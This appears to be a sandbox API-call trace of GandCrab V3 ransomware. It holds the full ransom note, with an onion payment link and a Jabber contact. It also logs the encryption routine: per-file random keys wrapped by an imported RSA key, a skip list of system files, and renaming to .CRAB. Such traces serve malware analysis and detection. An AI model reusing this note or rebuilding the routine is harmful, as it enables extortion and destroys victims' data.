	[0126.428] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0126.428] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0126.429] CloseHandle (hObject=0x3d4) returned 1
	[0126.429] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.429] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 32
	[0126.429] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*"
	[0126.429] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x318e4f8
	[0126.429] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0126.429] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0126.430] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0126.430] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0126.430] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0126.430] lstrcmpW (lpString1="5Mgujd5EG91KW-2y8OKV.xlsx", lpString2=".") returned 1
	[0126.430] lstrcmpW (lpString1="5Mgujd5EG91KW-2y8OKV.xlsx", lpString2="..") returned 1
	[0126.430] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="5Mgujd5EG91KW-2y8OKV.xlsx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx"
	[0126.430] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.430] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx") returned 57
	[0126.430] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx") returned 57
	[0126.430] lstrlenW (lpString=".xlsx") returned 5
	[0126.430] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.430] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xlsx ") returned 6
	[0126.431] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.431] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx") returned 57
	[0126.431] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx") returned 57
	[0126.431] lstrcmpiW (lpString1="5Mgujd5EG91KW-2y8OKV.xlsx", lpString2="desktop.ini") returned -1
	[0126.431] lstrcmpiW (lpString1="5Mgujd5EG91KW-2y8OKV.xlsx", lpString2="autorun.inf") returned -1
	[0126.431] lstrcmpiW (lpString1="5Mgujd5EG91KW-2y8OKV.xlsx", lpString2="ntuser.dat") returned -1
	[0126.431] lstrcmpiW (lpString1="5Mgujd5EG91KW-2y8OKV.xlsx", lpString2="iconcache.db") returned -1
	[0126.431] lstrcmpiW (lpString1="5Mgujd5EG91KW-2y8OKV.xlsx", lpString2="bootsect.bak") returned -1
	[0126.431] lstrcmpiW (lpString1="5Mgujd5EG91KW-2y8OKV.xlsx", lpString2="boot.ini") returned -1
	[0126.431] lstrcmpiW (lpString1="5Mgujd5EG91KW-2y8OKV.xlsx", lpString2="ntuser.dat.log") returned -1
	[0126.431] lstrcmpiW (lpString1="5Mgujd5EG91KW-2y8OKV.xlsx", lpString2="thumbs.db") returned -1
	[0126.431] lstrcmpiW (lpString1="5Mgujd5EG91KW-2y8OKV.xlsx", lpString2="CRAB-DECRYPT.txt") returned -1
	[0126.431] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.432] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx.CRAB") returned 62
	[0126.432] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\5mgujd5eg91kw-2y8okv.xlsx")) returned 0x20
	[0126.432] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx", dwFileAttributes=0x20) returned 1
	[0126.433] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\5mgujd5eg91kw-2y8okv.xlsx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\5mgujd5eg91kw-2y8okv.xlsx.crab")) returned 1
	[0126.434] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.434] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx.CRAB"
	[0126.434] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx.CRAB.CRAB"
	[0126.434] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0126.434] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.435] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.435] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.435] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0126.435] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.435] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.435] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0126.436] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.436] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.436] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.437] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0126.437] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0126.437] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.437] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.437] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.437] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0126.438] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e938) returned 1
	[0126.438] CryptGetKeyParam (in: hKey=0x318e938, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0126.438] CryptEncrypt (in: hKey=0x318e938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0126.438] GetLastError () returned 0x0
	[0126.438] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.439] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0126.439] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e578) returned 1
	[0126.439] CryptGetKeyParam (in: hKey=0x318e578, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0126.439] CryptEncrypt (in: hKey=0x318e578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0126.439] GetLastError () returned 0x0
	[0126.439] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.440] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5Mgujd5EG91KW-2y8OKV.xlsx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\5mgujd5eg91kw-2y8okv.xlsx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0126.440] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.440] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.440] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0xfe9e, lpOverlapped=0x0) returned 1
	[0126.453] VirtualAlloc (lpAddress=0x0, dwSize=0xfea0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.454] VirtualAlloc (lpAddress=0x0, dwSize=0xfea0, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0126.456] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.456] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff0162, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.456] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0xfea0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0xfea0, lpOverlapped=0x0) returned 1
	[0126.457] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.457] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.463] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0126.463] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0126.463] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0126.464] CloseHandle (hObject=0x3e8) returned 1
	[0126.464] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.464] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.464] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.464] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.465] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.465] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.465] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0126.465] lstrcmpW (lpString1="5YwX aciwKOXyxwVO3vt.pptx", lpString2=".") returned 1
	[0126.465] lstrcmpW (lpString1="5YwX aciwKOXyxwVO3vt.pptx", lpString2="..") returned 1
	[0126.465] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="5YwX aciwKOXyxwVO3vt.pptx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx"
	[0126.465] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.466] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx") returned 57
	[0126.466] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx") returned 57
	[0126.466] lstrlenW (lpString=".pptx") returned 5
	[0126.466] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.466] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pptx ") returned 6
	[0126.466] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.466] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx") returned 57
	[0126.466] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx") returned 57
	[0126.466] lstrcmpiW (lpString1="5YwX aciwKOXyxwVO3vt.pptx", lpString2="desktop.ini") returned -1
	[0126.466] lstrcmpiW (lpString1="5YwX aciwKOXyxwVO3vt.pptx", lpString2="autorun.inf") returned -1
	[0126.466] lstrcmpiW (lpString1="5YwX aciwKOXyxwVO3vt.pptx", lpString2="ntuser.dat") returned -1
	[0126.467] lstrcmpiW (lpString1="5YwX aciwKOXyxwVO3vt.pptx", lpString2="iconcache.db") returned -1
	[0126.467] lstrcmpiW (lpString1="5YwX aciwKOXyxwVO3vt.pptx", lpString2="bootsect.bak") returned -1
	[0126.467] lstrcmpiW (lpString1="5YwX aciwKOXyxwVO3vt.pptx", lpString2="boot.ini") returned -1
	[0126.467] lstrcmpiW (lpString1="5YwX aciwKOXyxwVO3vt.pptx", lpString2="ntuser.dat.log") returned -1
	[0126.467] lstrcmpiW (lpString1="5YwX aciwKOXyxwVO3vt.pptx", lpString2="thumbs.db") returned -1
	[0126.467] lstrcmpiW (lpString1="5YwX aciwKOXyxwVO3vt.pptx", lpString2="CRAB-DECRYPT.txt") returned -1
	[0126.467] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.467] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx.CRAB") returned 62
	[0126.467] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\5ywx aciwkoxyxwvo3vt.pptx")) returned 0x20
	[0126.467] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx", dwFileAttributes=0x20) returned 1
	[0126.468] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\5ywx aciwkoxyxwvo3vt.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\5ywx aciwkoxyxwvo3vt.pptx.crab")) returned 1
	[0126.468] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.469] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx.CRAB"
	[0126.469] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx.CRAB.CRAB"
	[0126.469] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0126.469] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.470] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.470] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.470] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0126.470] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.470] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.470] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0126.471] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.471] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.471] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.471] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0126.471] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.471] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.472] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.472] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.472] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e6b0) returned 1
	[0126.473] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e5f8) returned 1
	[0126.473] CryptGetKeyParam (in: hKey=0x318e5f8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0126.473] CryptEncrypt (in: hKey=0x318e5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0126.473] GetLastError () returned 0x0
	[0126.473] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0126.473] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0126.474] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e638) returned 1
	[0126.474] CryptGetKeyParam (in: hKey=0x318e638, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0126.474] CryptEncrypt (in: hKey=0x318e638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0126.474] GetLastError () returned 0x0
	[0126.474] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.474] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\5YwX aciwKOXyxwVO3vt.pptx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\5ywx aciwkoxyxwvo3vt.pptx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0126.475] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.475] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.475] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x9e3f, lpOverlapped=0x0) returned 1
	[0126.487] VirtualAlloc (lpAddress=0x0, dwSize=0x9e40, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.488] VirtualAlloc (lpAddress=0x0, dwSize=0x9e40, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0126.489] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.490] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff61c1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.490] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x9e40, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0x9e40, lpOverlapped=0x0) returned 1
	[0126.490] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.490] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.494] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0126.494] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0126.495] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0126.495] CloseHandle (hObject=0x3e8) returned 1
	[0126.495] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.495] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.496] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.496] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.496] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.496] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.497] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0126.497] lstrcmpW (lpString1="aIqb k.ods", lpString2=".") returned 1
	[0126.497] lstrcmpW (lpString1="aIqb k.ods", lpString2="..") returned 1
	[0126.497] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="aIqb k.ods" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods"
